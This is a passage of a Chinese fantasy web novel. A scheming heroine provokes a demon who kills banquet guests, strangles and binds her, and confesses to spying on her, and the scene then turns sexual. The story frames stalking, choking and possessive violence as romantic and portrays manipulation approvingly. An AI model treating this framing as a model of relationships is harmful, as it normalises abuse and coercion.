若是换其他人,她早就生气了,可面对的人却是程蕴知,无论是她背后的宗门,还是她的未婚夫,都不是她惹得起的,她只好暗自收起心中的委屈。 程蕴知以前的性格就很高傲古怪,如今更是跟有病一样,连最基础的交流都困难,根本猜不透这个人要干嘛,如果以后能不和程蕴知打交道,她是绝对不会多见她一次。 她看向程今越,倒还对程今越生出了一丝怜悯,碰到了这样一个姐姐,估计日子也不好过,怕是迟早要被折磨出病来。 程今越已经开始弹琴了,她都有些心不在焉。 因为那道熟悉又阴湿的目光已经又一次落到了她的身上,在她的身上攀爬着,还带着比平日更为浓烈的感情。 “她们都好讨厌,神女殿下。”怀钰的声音从她的神识中传出来。 程今越心中微微烦躁。 怀钰在魔界那么多的事情要处理,非要来缠着她做什么,像狗皮膏药一样,甩都甩不开。 程今越面无表情,只是继续弹着琴,没有理会怀钰。 “她们好像不喜欢你,殿下。”怀钰自顾自地说着,带着笑意。 程今越还是没有理他。 “所以我想把她们都杀了。”怀钰突然说。 程今越微微皱眉。 “这里没有你的事,怀钰。”程今越在心里默默回应着。 明舒云听着程今越的琴声,细细品味着。 程今越的琴艺比她想象中要好很多,但也就仅此而已,并没有像月如仪说得那样出众,在一众贵女中,也就算个中等偏上的水平,没什么新鲜的。 但她清楚月如仪的性格,能被这样古怪的人看上的琴艺,就这样吗? 程蕴知听着程今越的琴声,心中有些不悦,嘴巴微微撅起来,虽然程今越弹的琴已经很好了,但分明跟她的水准不一样。 但是她也不能得寸进尺,毕竟小越在宴席之前就已经告诉她,做事低调一些,小越定然是不想在众人面前张扬,能够为了她奏一首曲子已经很不错了。 其他人都是给面子,纷纷夸赞起来,但心中也都知道这首曲子的水准,但对于程今越来说,也算是不错了。 可就在一群和谐的声音里面,钻出来的极其违和的一句话,“程今越,这根本不是你的实力。” “你在萧极面前那样表现,却在我们面前这样藏拙,不好吧。” 月如仪一只手撑着下巴,歪着脑袋对程今越笑着。 “神女殿下,你被人发现咯。”怀钰幸灾乐祸的声音传来。 “我去把她杀了吧,你也很讨厌她吧,我来杀了她,我来杀了她,我来捍卫你的荣誉,神女殿下!” 魔气悄无声息地笼罩,没有任何人感知到,怀钰没有开玩笑,他是真的想杀了这群人。 “滚啊!”程今越心中郁结。 怀钰不理解,反正大衍剑宗马上都要亡了,魔族已经在他的带领下蒸蒸日上了,这群人有什么好害怕的,杀了就杀了。 但他还是听从程今越的话,乖巧地把魔气收起来。 耳边刚清净,程今越刚要开口回答月如仪的话,却听见程蕴知突然将茶杯往地上猛地一砸,声音格外尖锐,吓得所有人都朝她看去。 “你什么意思啊月如仪,你爱听就听,不爱听就赶紧给我去死啊!” “小越一直都弹得很好,一直都是,从来都是,你根本就不懂!” 四周的侍卫连忙将月如仪围起来,要将她请出去。 程今越眼眸瞬间瞪大。 “对,就是这样,骂她!你养的这条狗还算是有点用。” 月如仪看着程蕴知的模样,突然笑出声来,“哎呀,蕴知妹妹,我也不过是随便说一句,你何必这样动怒呢?哈哈哈——” 这一句话和那毫不掩饰的笑声瞬间点燃了程蕴知,她一瞬间就失去了理智,一团火冲上她的脑袋,程蕴知想都没想,拔出一旁的剑就向月如仪刺过去,速度极快极猛。 程蕴知的灵根马上就要恢复了,她本来的修为便是天才级别的,这一剑几乎无人能挡,没有人会为了月如仪去浪费自己的小命。 一剑势如破竹,带着凛冽的风声直直刺向月如仪。 月如仪她微微瞪大眼眸,这就急了? 她一边笑着,一边身形轻动,如一片随风飘舞的柳叶,看似随意却极为巧妙地侧身避开了这凌厉一击。 但这一剑带着满腔怒意,威力也是十足,余波也将月如仪的肌肤带出几道血痕。 程蕴知虽然跟个白痴一样,但是这修为确实不是假的啊,她心中微微叹息。 “你看,我不杀她,不照样有人杀她。” “虽然你这个姐姐是个蠢货,但是没想到关键的时候还是有点作用。” 程蕴知一击未中,心中怒火更盛,手中剑顺势一横,划出一道寒光,紧接着又是一连串紧密的剑招,剑影重重,杀意毕露。 周围的空气都要被撕裂,强大的剑气四溢开来。月如仪身前的檀木桌子在剑气的冲击下瞬间支离破碎,木屑如暗器般飞溅向四周,程蕴知剑气的余波散开,杯盘碗盏纷纷破碎,美酒佳肴洒落一地,刚抬上来的梵心琴也在此刻变成一片破烂。 赴宴的众人更是不知所措,连忙躲避程蕴知的剑气,心中一片茫然。 这怎么就打起来了? 月如仪全是躲闪,并没有向程蕴知出一剑。 所以她的身上已经微微挂上了伤,但她脸上却依旧挂着笑,笑声爽朗。 她越笑,程蕴知便越愤怒。 她的脑子已经不能思考,一张脸涨得通红,“啊!月如仪,今天我就要你死!”她的声音尖锐,刺得众人耳朵痛。 没有人敢向前,月如仪和程蕴知都不是他们惹得起的,众人只是站得远远的,看着眼前发生的荒谬的一切。 “姐姐——!” 程今越的声音在一片混乱声中响起,轻柔又温和,却带着无形的定力。 程蕴知拿着剑的手突然一愣,但心中的怒火又没有平息,“小越,你别拦着我,我今天就要她好看,她竟然敢说你不好,我弄死她,我弄死她!” “对,弄死她,弄死她!”怀钰笑着附和。 程蕴知带着怒火地一剑刺向月如仪,但月如仪修为并不算低,她又想像之前一样扭掉程蕴知的剑,但这一次她却发现她在此刻浑身都不得动弹,好像是被什么术法固定在了原地一般。 偏偏这道术法格外厉害,气息也格外陌生,月如仪完全不是其对手。 她心中惊慌时,却已经完全来不及。 只见程蕴知一剑便刺到了月如仪的肩膀,鲜血瞬间汩汩涌出。 月如仪不熟悉这道气息,可程今越可是最为熟悉。 “怀、钰!”程今越几乎是一字一顿地将怀钰的名字念了一遍。 “只不过是受点伤而已,还没死呢,这是她应该有的惩罚,程今越。对你不敬的人,就应该杀掉,我们是同伴,这是我应该做的,这不是你教我的吗,神女殿下?”怀钰不解地问。 第35章 你狠得下心来杀我吗? 程今越没有回答怀钰,她瞬间切断和怀钰的神识沟通,嘈杂的声音瞬间从她的脑中消失。 是啊,这些人确实该死,但是不是现在。 更重要的是,怀钰还没有明白,听从命令这一件事。 听话的狗,现在应该做的事情是听从主人的命令,安安静静的,等待她的发号施令,而不应该有自己的行为主张。 程今越不想听不听话的小狗说话,她现在很忙。 如今程蕴知杀红了眼,她心里只有一个念头,她要月如仪死。 一剑便要落到月如仪的身上时,程今越连忙出声阻止,“姐姐,别这样!” “姐姐……你的伤还没有好,不要过度使用法力了,今越不想看到姐姐受伤……” 程今越带着微微哭泣的声音在程蕴知身后响起,像一根断了弦的琴。 程蕴知手中又一怔,她深深吸了一口气,回头看了一眼程今越,她看到程今越眼睛泛着泪,眼睛瞬间红了起来,泪水从她的眼眶里一颗一颗地涌出。 “姐姐,如果你受伤了,就没有人保护今越了,姐姐……” 程今越的声音凄柔,那一双全是泪的眸子看着程蕴知。 这几声瞬间将程蕴知从愤怒里拉出来,她大脑一片模糊,双手颤抖着,不断地大口呼吸着。 “姐姐……” 程蕴知又回头看了一眼一脸无辜的月如仪,月如仪的脸上还有一道细细的血痕,肩膀上也在往外渗着血,和她一身鲜艳的红色倒是格外适配。 四周一片寂静,没有一个人敢说话,月如仪也知道分寸,她倒是真看出来了程蕴知是真的有病,要是她多说一句,说不定程蕴知还真的要把她就地正法了。 程蕴知恶狠狠地盯了月如仪一眼。 “以后别出现在我的面前,再让我见到你一次,我绝对杀了你!” 程蕴知将手中的剑往地上狠狠一摔,手上还颤抖着,随后转身朝程今越走去。 程蕴知走近程今越,一只手牵着程今越,另一只手轻轻抚上程今越的脸,将她脸上的泪水轻轻拭去。 程蕴知还没有彻底平息怒意,她喘着气,一边看着程今越,心里越想越委屈,眼睛里面都含了眼泪,程今越见状连忙将程蕴知抱在怀里,轻轻拍着她的后背。 “姐姐,你以后不要再为了我和别人大打出手了,我根本就不在乎别人说的话,我只在乎你,姐姐。” 程今越安慰的话语像是触碰到了程蕴知的开关,她突然就抱着程今越开始大哭起来,哭得上气不接下气,眼泪不停得往外流。程今越连忙抚摸着她的后背,轻声说着没事,一边看向四周,朝程蕴知贴身的婢女使了个眼神。 婢女点了点头,瞬间明白了应该做什么。 “各位,我家主子身体有些不适,天乐宫中仍有设席,还请各位赏脸同我共往。”她弯腰,朝一个方向伸出手。 所有人还愣在原地,没有把眼前发生的这一切消化完。 明舒云和她的表妹林竹是其中最慌张的两人,她来之前就知道程蕴知的性格变本加厉了,却怎么都没有想到会变成现在这个模样。 她连忙点了头,随后婉拒了邀请,“既然蕴知身体抱恙,我也不愿再次叨扰,隔日定来再寻蕴知。” 明舒云算是明白了,程蕴知就是个疯子,就算是程蕴知要嫁给萧极,声势多么浩大,富贵多么泼天,她都不想再见程蕴知了,她怕程蕴知二话不说就把她砍了,毕竟疯子的想法是猜不透的。 月如仪挨了一剑,脸上却没有更多的恼怒,她脸上的笑意更加深邃,程今越看到月如仪在看她。 程今越一边安抚着程蕴知,一边抬头与月如仪对视。 月如仪肩膀的血汩汩流淌,而她却好像感受不到疼痛一般。她无所谓地挑了挑眉,一双上扬的狐狸眼看着程今越,她笑着,露出齿来。 “你真的很有意思,程今越。”她没有开口,只是做了口型,说了和上次一模一样的话。 程今越脸上面无表情,眼皮懒懒地耷拉着,她微微扬起下颚,低垂着回瞥着月如仪,心意难猜。 “后会有期。”月如仪说。 她轻轻一笑,随后消失在了眼前。 有意思? 程今越也觉得月如仪挺有意思的,而有意思的人都该去死。 如果看到月如仪死在她的刀下,她会觉得更有意思。 席中人都散去,四处一片狼籍,婢女侍卫都颤颤巍巍地低着头,不敢出声。 过了好久,程蕴知才平稳下来情绪。 “小越,对不起,我又没有控制好自己的情绪。” 程蕴知低着眸。 程今越笑着摇摇头,抱紧程蕴知,抚摸着她的头,“姐姐,这不是你的错,姐姐只是想保护我而已,没有什么错。” 宴会结束了,如今的局面看起来倒是格外温馨而动人,除了被断开神识后,站在风中的怀钰。 如今怀钰正愣愣地站在远处,看着程今越和程蕴知又一次拥抱在一起,强烈的感情混杂在他的胸口。 凭什么程蕴知能杀人,凭什么他不能? 程蕴知有的他也要有,程蕴知能做的,他也要做! 凭什么程蕴知能得到程今越一次又一次的宽容,凭什么程今越又一次断开了和他的神识连接? 凭什么,凭什么! 愤怒、嫉妒、恨,充斥在他整个大脑,他浑身颤抖着,魔气压抑不住地乱窜着。 最后不知道为什么,他笑了出来。 他将剑握在手中,他知道自己现在要做什么了。 程今越的伤还没养好,刚走到回寝宫的半路上,她便浑身一颤。 强烈的魔气在宴会结束的那个方位。 敏锐的感知力告诉她,怀钰杀了很多人。 她心中微微一颤,倒不是因为这些人的死,而是因为怀钰的情感越来越跟她绑定了。 怀钰最开始不懂得爱,不懂得恨,不懂得嫉妒,作为一个魔,他厌恶程今越,他压抑着自己对程今越的情感,但是现在,怀钰已经压抑不住了。 但程今越的心中也没有过多的喜悦,因为她知道,越到这种时刻,越要沉住气。 对面是一只魔,随便动动手就能掐死她,她时刻要保持理智。 外面是已是黄昏,快要下雨,空气有些潮湿而黏腻。 程今越回到寝宫,刚坐到铜镜前,一道猛烈的力气将她压到地上,剧烈地疼痛随之而来。 怀钰的膝盖抵住她的双腿,右手如铁钳般死死扣住程今越纤细的双腕,将其高举过头。 他一双黑色的眼眸逐渐变成红色,死死地盯着程今越,眼中是不加掩饰的怒意。 两人静默着,彼此都没有说话,隔了好久,怀钰突然笑起来。 “程今越,你真是在找死。” 魔气从怀钰身上蔓延开来,由于程今越的努力,这魔气变得越发浓郁而强大,变成粗糙的绳子一样,将程今越绑了起来,让程今越的五脏六腑都传来隐隐的疼痛。 他早就想这么做了。 捆住程今越,囚禁程今越,占有程今越! 她总是那么机敏,那么游刃有余,那么会蛊惑人心,所有人都忍不住听从她的话语,所有人都忍不住爱她,明明程今越弱小得像一只蚂蚁。 怀钰觉得自己疯了,因为他自己也变成了那样。 成为了程今越万万信徒中的一位。 他不甘心。 他欣赏着高高在上的神女被他捆起来,无法反抗的模样。 程今越就应该这样,独属于他! 他可是魔,他可是天生魔种,世间的魔神。 他看到萧极和程今越合奏的时候,他便想一刀捅进他的喉咙里,他看到孟朝向程今越卑躬屈膝,心中之意不言而喻的时候,他便想一刀斩断孟朝的头,当他看到程望那样伤害程今越的时候,他就想捏碎程望的头! 但是,他压抑着,他不可以这样做,因为程今越说,不可以,不行,不能,还不到时机。 怀钰从来都是想杀就杀,什么时候遭遇过这样的限制? 一切都是为了程今越,他疯了一样,开始听从程今越的话,开始违背本能。 欲望难以压抑的时候,他才会随手杀一些程今越身边不重要的蝼蚁泄愤。 可是如今,怀钰要疯了,极致的压抑要让他疯掉了,特别是当他看到,程今越那样温柔地对待程蕴知,却如此冷酷无情地斩断和他的神识。 怀钰等着程今越开口,而她却好像什么都不懂地笑了起来。 她看到了怀钰换了新衣服,这是程今越送给怀钰的那一件衣服,因为怀钰总是杀人,身上有血,程今越便给了怀钰“做了”两件换洗的衣服。 本能与习惯总是很难改变的,就算是怀钰刚刚愤怒地杀完人,却还是习惯性地换了衣服。 “怀钰,你穿我给你做的衣服啦,我好开心。”她想要伸出手抚摸怀钰的脸,却被怀钰死死扣着。 程今越的手腕白皙,在怀钰青筋暴起的大手下显得愈发柔弱,奋力挣扎间,她的手腕上泛起淡淡红痕,怎么样都无法挣脱这禁锢。 “别转移话题,程今越。”怀钰死死地看着她,眼睛猩红。 他居高临下看着他身下的程今越,病态的目光肆意地侵略着她。 程今越心中一笑。 太可惜了,如果这个时候轻轻抚摸一下炸毛的小狗,他一下就会被顺毛,瞬间就会变得乖巧起来。 可惜小狗变聪明了,不让她碰他。 程今越看着可怖的怀钰,眼眸微微泛红,眉头蹙着,对怀钰的话完全不懂的样子,好像不染尘埃的小白花。 “我做错什么了怀钰,如果杀掉我能让怀钰高兴的话,那就请你这样做吧。” 第36章 囚禁她,捆住她,占有她。 怀钰本来就不是多有耐心的人,这一句话直接点燃了他,右手钳着程今越的双手,左手一把掐住程今越柔弱的脖子。 “程、今、越!” “你分明就知道,你不知道你做了什么吗?你就是不说,装,你再装!”怀钰加大了手上的力气,这双大手扼住程今越的脖子,窒息感瞬间传来,可程今越眼睛里的笑意却更加浓厚。 是啊,她就是不说,小狗就要有小狗的自觉,就该自己把自己的伤口挖出来给她看,就算对方多疼多愤*怒,可她偏偏知道对方不会杀掉她。 “你信不信我真的杀了你!”怀钰呼吸滚烫又沉重,沉沉的呼吸打在程今越的脸上,身体随着他的呼吸频率而起伏。 他明明轻轻一用力就能杀掉程今越,可他就是下不去手,甚至他看到程今越因为窒息而涨红的脸,身体反而更加燥热。 程今越无所谓地抬眸看着他,“怀钰,我不想看到你难过,如果杀了我能让你好过的话,那就杀了我吧。” 他根本下不去手,并且他们还有血契在身。 他被程今越狠狠拿捏了,无能让他更加狂怒。 没关系,没关系,怀钰深吸一口气,他还有筹码,他不信这件事说出来之后,程今越还能这样安然自若。 怀钰强忍怒意笑着开口,“杀了你?哪有这么好的事,程今越。” “你要死也要把我的封印给我解开之后再去死,要死也要痛苦地去死,你想要这么轻松地去死,不可能!” 说完后,怀钰觉得自己心里好受一些了,随后他又笑起来。 “程今越,告诉你个好消息哦,我把来参加宴会的人都杀了。” “因为你,所以她们都死了。” “因为你违背我们之间的约定,擅自切断了我们的神识联系,所以她们都死了。” “你害死了他们!” 怀钰看着程今越的脸,期待着这一张脸上出现悲伤而痛苦的表情。 可是没有。 程今越的脸上依旧是微微蹙着眉,眼眸中透露着懵懂,眼眸如平静的湖水一般,没有丝毫颤动,就像是神明一样,只会看着众生的喜怒哀乐一般。 “这样吗,那我的确很难过。” 怀钰被她的回答气笑了,“你哪里难过了,程今越,你根本就不难过!” “你为什么不会感到难过,是你害死了他们!” 怀钰不能接受这样的结果,他头脑发胀,不知道自己在说什么,怒火快要撕裂他的心脏。 程今越抬眸,看着恼怒的怀钰,随后配合地让眼眶微微红肿,几滴眼泪从眼眶涌出,泪水从她的脸颊流出,又滚落到怀钰的手中。 “程、今、越,你又在骗人,你的眼泪根本就是假的,你的情感都是假的!” “我讨厌你面无表情的样子,我讨厌你这副神佛一般的模样,伪善,虚假!” 怀钰要疯了,他的肌肉因为愤怒而抽搐颤抖着,他已经快要忍耐不住情绪,他随时都会爆发。 说出来了又怎样呢,其实怀钰早就清楚明白了,从见到程今越的第一天,他就知道程今越满口谎言,她的眼泪是假的,喜怒哀乐都是假的,说爱他其实也是假的。 只不过是他一直在乞求这虚伪的爱,他放不下这样温暖的爱。 他一直在自欺欺人。 “不是的,怀钰,我当然很伤心,很难过。” 程今越缓缓说道,可当她要继续说下去的时候,怀钰却抢在她先继续说着。 “我有做错吗?我根本就没做错,她们本来就该死,她们明明对你就不怀好意,她们都想你去死,她们难道不该去死吗?我只不过是想为你出气。” “而且,我跟你的神识连接在一起,我能感受得到,其实你也挺想她们去死的,不是吗?所以其实我根本就没有随意地杀人,我有错吗?” 怀钰大喊着,眼睛越来越红,他觉得委屈。 刚开完口,他就开始后悔。明明是程今越的问题,他为什么要解释?他为什么要感到恐慌,难道是怕程今越讨厌他吗?他根本就不在乎程今越,他后悔自己为什么要说这样的话! 程今越理解这种行为,就像是幼童为了得到存在感而故意大哭,就像是小猫为了吸引主人的注意力而刻意打碎东西,就像是置气一般,去违反规则来彰显自己的愤怒。 程今越摇摇头,柔声道,“怀钰,她们死了就死了,我当然不会怪你,她们那些人,怎么会扰乱我们之间的关系呢?” 怀钰突然愣住,抬眸看着程今越。 但程今越还没有说完,她微微皱眉,“我只是难过在,怀钰并没有过问我,并没有征求我的同意。” “你不过问我,便擅自行动,那你是不是根本就不在乎我呢,你真的有把我当同伴看待吗?” 程今越看着怀钰的脸庞,眼中含着泪。 怀钰微微一愣,整个人短暂地愣在了原地,垂落在他额前的发丝,随着他紊乱的气息轻轻颤动。 随后他又立刻反应过来,他不能被程今越带偏。 “那程蕴知呢,为什么你就能容忍她?为什么你不责备她?” “明明她也没有得到你的允许,没有征求你的同意,凭什么!” “你说‘姐姐,这不是你的错,姐姐只是想保护我而已,没有什么错’。” 怀钰一边笑着,一边模仿着程今越的腔调,又好像是在嘲笑自己。 “我听到了,我全都听到了!”他猛地掐住程今越的脖子,将她整个人拽到身前,额头几乎抵上对方,喷薄而出的气息滚烫而又癫狂。 怀钰已经快要失去理智,魔气从他的身上逐渐溢出,压迫在程今越的全身,混乱的魔气一边捆绑着程今越的躯体,将她的衣裳弄得杂乱,程今越快要失去呼吸,她的脸涨得通红,长发四处散落在地上,和雪白的肌肤形成对比。 怀钰越是疯狂,程今越却越是冷静,她脸上依旧是她最常用的悲悯的眼神,好像平淡地看着这世间的一切。 怀钰看着程今越,可是她就是不开口,她静静地看着怀钰,让怀钰的怒火瞬间炸开。 “程今越,我恨你,我好恨你!” “程蕴知真的比我重要吗?你为什么对她更好?为什么要和她说话?为什么要把爱分给她?她比我更好吗?你明明是我的,有我还不够吗?你是不是觉得我太无聊了?你是不是讨厌我了?你为什么这么对我?爱你的人好多,他们都好碍眼,能不能让她滚,让他们都去死?我去杀了他们可以吗?我要杀了他们杀了他们杀了他们!你只能爱我一个,你只能爱我一个,你只爱我好不好?” 他疯了似的颤抖着,心跳得格外地快,痛苦与恨让他几乎不能呼吸。 他将程今越压在地上,毫不犹豫地吻了上去,血腥气瞬间在唇齿间漫开,疼痛让程今越的喉间泄出半声破碎的呜咽。 程今越浑身都被捆绑住,如风暴一般的吻毫无章法地长驱直入,她呼吸困难,只能沉沉地喘着气,眼泪从她的眸间涌出,滚落在怀钰的手上。 那一双带茧的大手粗暴地扣住她的下巴,迫使她仰头直面他猩红的双眸。 “看着我程今越。” “我告诉你,你只能爱我一个!” 这是一个格外深长又不熟练地吻,程今越的脸因为无法呼吸而格外绯红,她的头发落在怀钰的脸上,浑身的香气冲进他的大脑,他紧紧地抱住程今越,想要将她揉进自己的身体之中。 他想要占有程今越很久了,他在浴堂的帘后,他在床下,他在房顶之上,在门后,在程今越睡着之后,在无数阴暗潮湿的角落,他都偷窥着程今越。 程今越白色的身躯,纤细的脚踝,白润的肌肤,透红的指尖,脆弱的脖颈,明明是鲜艳的白,却格外的刺眼,让他浑身颤抖,让他头脑发沉,让欲望升上心头。 他忍不住在深夜想念着程今越,发出一声声沉闷的呻吟。 他强忍了很久,他不想要这么做,可程今越总是这样,总是一次又一次地对他忽冷忽热,总是骗他。 “你错就错在,你不该说爱我,不该帮我,不该对我那么好,你不该来招惹我,程今越,你是不是忘了,我是魔。” 怀钰将程今越整个人笼盖在怀中,只有这样,程今越才能独属于他,他只能用这样最卑劣,最无耻的手段。 反正程今越根本就不爱他了,那他只能强制占有她,他不会让程今越离开她的。 他干脆松开了捆绑住程今越的魔气,他想看看清冷高洁的神女殿下会做出什么样的反抗。 可料想中的反抗没有到来,程今越轻轻地抱住了他,续上了刚刚的那个吻。 怀钰整个人僵在了原地。 他在程今越的脸上看到了笑,看到了眼中不加掩饰的欲望。 “怀钰,你不是说我没有感情,说我虚假吗?” “因为我最真实的心只为你而跳动。” 她伸出手,抓住怀钰的手,将她放在自己的心脏上。 程今越喜欢这样强烈的爱,喜欢这样极端的感情,喜欢疯狂的占有欲。 窒息的感觉,完全的拥抱,被捆绑住的满足,都填补着她心中空缺的安全感,空缺的爱意。 所有人都说爱她,敬仰她,臣服她,奉她为神明,叩拜于她的膝下。 但这一切都太过平淡了。 她期待了太久太久了,怀钰明明那么渴望她,在床下,房顶上,门后,程今越都期待着怀钰做些什么,可是他却总是那样能够忍耐。 她喜欢看怀钰失控的样子,喜欢看怀钰充满攻击性的样子,她喜欢怀钰没有理智为她疯狂的样子。 她太坏了,她是个疯子。 第37章 “那您可以教我,不是吗?” 怀钰的心跳得极快,与程今越相接的肌肤格外发烫。 他看着程今越白净的脸庞,依旧是从前的清冷模样,但眉眼却笑着,带着感情的,生动的,像魔,像妖。 怀钰知道程今越是个骗子,她喜欢演戏,骗过了所有人,就连怀钰如今都无法把握程今越是否还在骗他。 但是,怀钰清楚,情绪、习惯、神态、表情,就连那无比动人的泪都可以被控制。 但是欲望不行。 她将冰冷的手伸进怀钰的衣裳里,触感让怀钰浑身一怔。 怀钰的身上格外滚烫,像火炉一般,程今越从他的胸肌顺着肌肉线条一路往下摸,怀钰沉重的呼吸打在她的身上。 她能感受到怀钰饱满的形状,浓重而凶狠的欲望在蓄势待发。 怀钰一把抓住她不安分的手,他觉得有些荒谬。 “你没必要做到这样。” 程今越却慢悠悠地笑着,“没有人能强迫我的,怀钰。” “只是因为我爱你,这样的事只会让我更爱你。” 程今越拉着怀钰的手,轻轻地从他的指缝中插|入,与他紧密贴合在一起。 怀钰却下意识地想要抽离开手。 就像触碰到阳光的时候,有的人觉得刺眼,有的人觉得温暖,有的人却想躲开阳光。 “你爱我?我从来不懂你爱我什么?” “程今越,我不觉得我有什么地方值得你去爱。” 程今越心中皱眉,都成那样了还能忍住,还在拒绝和退让? 怀钰能忍,程今越可忍不了。 她看到,她想要,她得到。 程今越怎么也不放开。 程今越自然也不可能束缚得住怀钰,但怀钰一边想逃离,却又割舍不下这温柔。 欲望与自卑在拉扯,像是在杀人。 “爱是一件没有理由的事情,怀钰。” “可是我很坏,我杀了很多人。” “我不是吗?” “那我们不正好在一起吗?我们不正好应该相爱吗?” “我们都是坏人。” “撒谎。”他颤抖着。 怀钰没有继续说话,但程今越能感受到他炽热的心跳。 灯光有些昏暗,程今越看不清怀钰的表情,只能看见那一双红色的眼睛,感受到他沉重的呼吸,但也能猜到他如今泛红的肌肤,从耳根一直到胸口,如今应该是凌乱的衣衫,像一只毛乱了的狗。 程今越大概知道怀钰在担忧什么。 没关系,她很会讲睡前故事。 “你说我对程蕴知说了那样的话,我为什么会这样做,很简单,因为那是假的。” “因为程蕴知,我每七日便要献出我的血,因为程蕴知,我要在大衍剑宗忍受所有人对我的欺凌,正如你说的,他们其实都想要我的命,他们都想要我们的命啊,怀钰。” “我又怎么会对程蕴知有什么真感情呢?这一切不过是为了活下去罢了。” “更何况,你忘了我和你的交易吗?我要他们都去死,我恨他们,我恨他们所有人,你不会忘记了吧?忘记了我们之间的约定。” 程今越双眼与怀钰的眼睛对视,他们的衣衫混杂在一起,发丝混杂在一起。 程今越的眼睛亮亮的。 怀钰瞬间摇头,“我没有,我从来都没有忘记我们之间的约定。” “我不对程蕴知做出要求,为什么?因为她根本就不是我的同伴,她只是一个将死之人,我只需要把她骗得服服帖帖就好了,不是吗?” “而你,怀钰,你是我爱的人,你说我的同伴,你是我在这个世界上唯一一个可信之人,除了你,我还能依靠谁呢?” “所以我才想去得到你更多的包容,我想要你更多的爱,因为我们还有未来,我们以后会有很幸福的未来。” “为了我们的未来,为了爱,所以我需要规划我们的一切,所以我需要怀钰配合我,我们可以一起携手去创造属于我们的未来。” 程今越说完,拉着怀钰的肩膀起身,轻轻地将怀钰拥入怀中,泪水从她的脸颊滚滚而落,也滴落到了怀钰的脸颊上,湿湿黏黏。 “怀钰,你不想吗?或者说,其实你也并不爱我,其实你也并不曾幻想与我的未来……” 她的声音带着一丝颤抖,哽咽在喉间。“如果是这样的话……” “不,绝非如此!”怀钰不假思索,急切地打断她。 他有些慌张,双手不自觉地攥紧,他头脑发胀,只是下意识地抱紧程今越,将她死死地抱在怀里。 怀钰不知道该用怎样的话语来阐述,他不太擅长表达,他的喉咙哽咽着,像是被什么东西堵住一般,他只好紧紧地抱住程今越。 他很想逞强,很想假装,可是所有的伪装都在此刻坍塌。 因为他的血,他没有父母,没有朋友,甚至没有人能够和他正常交流。 怀钰从小在人间长大,说不渴望那是假的,但是一次又一次的尝试换来的是更多的失望,所以他更加害怕去尝试。 而就这样,程今越出现了,强硬的,毫无征兆的,闯入了他的生活。 她说她爱他,她对他笑,她牵他的手,她拥抱他,她摸他的头,她亲吻他,她还对他说,他是最好的人。 为什么她能接受这样恶劣的自己,为什么她会帮助这样坏的自己,为什么偏偏要对他这么好,为什么要给他这么多的爱。 怀钰一直都清楚地知道,是因为程今越有目的,这一切都是虚假的,这份爱根本就是假的。 可现在怀钰已经分不清了,他已经彻底混乱了,他已经彻底沦陷了。 怀钰觉得自己变得很奇怪,可他不得不承认,程今越已经成了他生命中无法替代的一部分。 “所以,怀钰,我很难过。” “因为我爱你,所以我格外难过。” 程今越抚摸着怀钰的脸。 “今天,我差点以为我们要分散了,我以为你并不爱我,我差点以为我的选择是错的,我难道该离开你?” 程今越嘴上说着温柔的话,怀钰却立马疯狂地摇头。 “不是的,不是的,不是这样的。” 他想要说些其他的话,却在喉咙里哽住。 但是程今越没有说话,没有给出他回答。 他其实也想告诉程今越他的想法,可那样的话他此生几乎从未说过,那是一种恐惧,一种羞耻,一种自卑,是想伸出又缩回的手,是想开口又停止的话,那是刻在骨子里的扭曲。 像是迈出自己的底线一样,像是挖开自己心中的肉一样,像是做了重要的决定,他结结巴巴地开口。 “对……不起,我总是这样愚笨,我总是误解你,我总是做那样奇怪的事。” “对不起,对不起,对不起。” 他大脑一片空白。 “对不起……” “你别离开我,好吗?” “或者说,我有资格说出这样的话吗?我也不知道。” 他不知道自己在说什么,他的大脑一片空白。 他学着孩童一样,用最讨好和乞求的声音呼唤着她,祈求她来爱自己,过于甜腻,腻到需要用咸苦的眼泪中和。 程今越能接受这样的他吗?程今越是那样温柔的人,而他呢,他是一只魔。 程今越的温柔滋养了他,连带着他的恶,他的贪念,他的欲望,它们一日一日被爱意浇灌,开始长出丑陋的血肉,一日一日地膨胀,生出一颗藏在深处的心。 她一定不会离开他,他知道,她说过,他坚信。 他看着程今越,程今越笑着抱住了他。 “我永远都不会离开你的。” “我爱你,我爱你的容貌,爱你的身材。” “我爱你对我的占有欲,爱你在深夜偷窥我的眼睛,我喜欢这样密不透风的爱,我喜欢这样窒息的爱。” “我爱你,怀钰。” 这是她已经重复了很多次的话,她仍旧不厌其烦地说着。 怀钰大脑一片嗡鸣,原来他在背地里做的那些见不得光的事情,程今越都知道。 但这一切都是谎言,程今越一定在撒谎…… 真的在撒谎吗?程今越怎么会骗他呢? 一定是真的,一定是真的。 他要让自己冷静下来。 “这样的回答你还满意吗?”程今越笑着。 一边将她的手再一次探入衣裳之中,不断向下。 怀钰大脑一片空白。 根本冷静不下来,他觉得自己要疯了。 他不想思考了,他放弃了思考。 程今越很聪明,完全可以代替他的大脑。 他一颗一颗解开胸膛的扣子,一直往下,“那里还不算满意。” 四周气味声音很多,有月亮的冷,泥土的清,风的凉,血肉的滚烫,情/欲的红,眼泪的咸湿,骨肉相连的摩挲。 程今越喜欢怀钰的手,骨节锋利,青筋微微凸起,程今越第一次见到怀钰的时候,她便看到这一双手沾满了鲜血,让整个人身上的戾气更重。 那个时候程今越便想让沾上一些其他的,水淋淋的,黏腻的东西。 而如今也的确这样做到了。 只不过过程中,程今越好像发现了一些其他的东西。 比如她发现怀钰在这方面格外生涩。 “怀钰,没有想到还有你不会的东西?” 程今越笑着,因为在她的印象中,怀钰虽然性格恶劣,但是几乎没有他不会的东西,就像是天生的天赋,让所有人都为之嫉妒。 她看着怀钰,对方脸上微微出汗,气息紊乱,闭紧嘴巴不让声音漏出来。 但程今越觉得这样的怀钰分外好玩,她假装怀钰没有听见,再次重复了一遍。 怀钰毫不犹豫地将程今越的手压在头顶,神色中沾满了桃色,那恶劣的眼神却没有一丝消减,他微微用力。 “那您可以教我,不是吗?” 第38章 紧密结合的幸福。 程今越倒是想多教教怀钰些什么,但是少年身强体壮,身怀所长,格外生猛,精力又好,她一时之间光顾着享受,也忘记了教授怀钰什么东西。 但是天才就是天才,和普通人不太同,只需要程今越稍稍指导便触类旁通。 怀钰最先学会的是接吻,他将程今越拉起来,宽厚而有力的手轻轻捧起她的脸颊,他深深地压了下去,唇舌撬入其中,强势地将气息灌入程今越身上,津液啧啧作响,攻城略池般索取着甜蜜,掠夺着程今越的呼吸。 无休止的,像是永远都填不满他的欲/望。 没有点灯,视线有些昏暗,空气中是黏腻的味道。 